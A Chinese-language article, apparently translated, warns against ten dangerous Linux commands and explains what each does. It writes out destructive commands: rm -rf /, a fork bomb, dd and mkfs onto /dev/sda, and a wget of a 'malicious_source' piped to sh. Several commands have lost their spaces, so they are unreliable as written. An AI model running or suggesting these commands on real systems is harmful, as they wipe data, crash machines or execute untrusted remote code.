当前位置: 首页 > 科技观察

Linux的10个最危险的命令_1

时间:2023-03-19 15:34:27 科技观察

Linux命令行很有用、高效且有趣,但它也可能很危险,尤其是当您不确定自己在做什么时。本文将向您介绍十个命令,但您最好不要尝试使用它们。当然,下面的命令一般都是在root权限下装傻到无可救药的地步;在普通用户的身份下,自己三分之一的土地,只有一亩三分地被毁。1.rm-rf命令rm-rf命令是删除文件夹及其内容的最快方法之一。哪怕是最轻微的错别字或无知,都可能导致无法恢复的系统崩溃。以下是rm命令的一些选项:rm 命令通常用于在Linux下删除文件。rm-r命令递归删除文件夹,甚至是空文件夹。rm-f命令会在不询问的情况下删除“只读文件”。Linux下删除文件并不关心文件是否只读,只关心其父目录是否有写权限。所以-f参数只是表示不需要一个一个确认删除,而是静静的全部删除。另外,原来的rm命令其实是没有删除提示的,但是一般的发行版都会通过别名给rm加上-i参数来要求删除确认,而-f则是抑制这个提示。rm-rf/:强制删除根目录下的所有东西。rm-rf*: 强行删除当前目录下的所有文件。rm-rf。:强制删除当前文件夹及其子文件夹。从现在开始,请小心执行rm-rf命令。我们可以在“.bashrc”文件中为'rm'命令创建一个别名rm-i,以防止使用'rm'命令删除文件时出现意外,它会要求您确认每个删除请求。(译注:大多数发行版已经这样做了,如果没有,请这样做,并且在使用-f参数之前一定要考虑好你在做什么!译者自己有血泪教训。)2.:(){:|:&};:命令这是叉子炸弹的一个例子。这是通过定义一个名为“:”的函数来完成的,该函数将调用自身两次,一次在前台,一次在后台。它将被反复执行,直到系统崩溃。3.Command >/dev/sda这个命令会将'command'的输出写入块设备/dev/sda。该操作会将块设备中的所有数据块替换为该命令写入的原始数据,从而导致整个块设备中的数据丢失。4.mvfolder/dev/null此命令会将“文件夹”移动到/dev/null。在Linux中,/dev/null或null设备是一个特殊的文件,写入其中的所有数据都会被清除,然后返回写入操作成功。当然需要注意的是,这个命令并不能阻止数据恢复软件——所以,真正的彻底破坏需要通过特殊的软件或者方法来完成。5.wgethttp://malicious_source-O-|sh此命令将从(可能)恶意来源下载脚本并执行它。Wget命令将下载脚本,而sh将(无条件地)执行下载的脚本。注意:您应该始终注意下载的包或脚本的来源。仅使用从可信来源下载的脚本/程序。6.mkfs.ext3/dev/sda上面的命令会格式化块设备'sda',执行这个命令后,你的块设备(硬盘)就会被格式化,直接让你的系统进入不可恢复的阶段。通常我们不会直接使用像/dev/sda这样的设备,除非它们被用作原始设备。一般sda在使用前需要划分成sda1、sda2这样的分区。当然,不管你用sda还是sda1,像这样对块设备或分区做mkfs是有破坏性的,上面的数据会蒸发掉。7.>file该命令常用于清除文件内容或记录命令的输出。但在执行前请确保输出文件为空或不存在,否则无法恢复原始文件——即使是数据恢复软件也未必能帮到您。您可能真正想要使用的是“>>”,它将新输出累积到文件中,而不是刷新该文件。">xt.conf" 之类的命令将覆盖配置文件或任何其他系统配置文件,如果您在执行上述列表时输入错误或无意输入。8.^foo^bar此命令用于编辑先前运行的命令,而无需重新键入整个命令。如果您不彻底检查更改原始命令的风险,这可能会导致foobar命令出现真正的问题。9.ddif=/dev/randomof=/dev/sda这个命令会把随机的垃圾文件写入块设备sda来擦除数据,这样你的系统可能会陷入混乱和不可恢复的状态。还记得上面说mv到黑洞不能彻底删除数据吗?然后这个命令给你一个彻底删除它的方法!当然,为了保险起见,可以多次覆盖。10.隐藏命令下面的命令其实就是上面的第一条命令(rm-rf)。这里的代码隐藏在十六进制中,无知的用户可能会被愚弄,如果在终端中运行,以下命令可能会擦除您的根分区。真正的危险是隐藏的,不容易被发现。您必须始终清楚自己在做什么以及结果会是什么。请记住,永远不要编译/运行来自未知来源的代码。今天给大家带来的是一条到此结束的命令,切记不要在服务器或者其他设备上尝试~如果要测试请在虚拟机上运行,??否则会丢失文件或者系统会崩溃不好。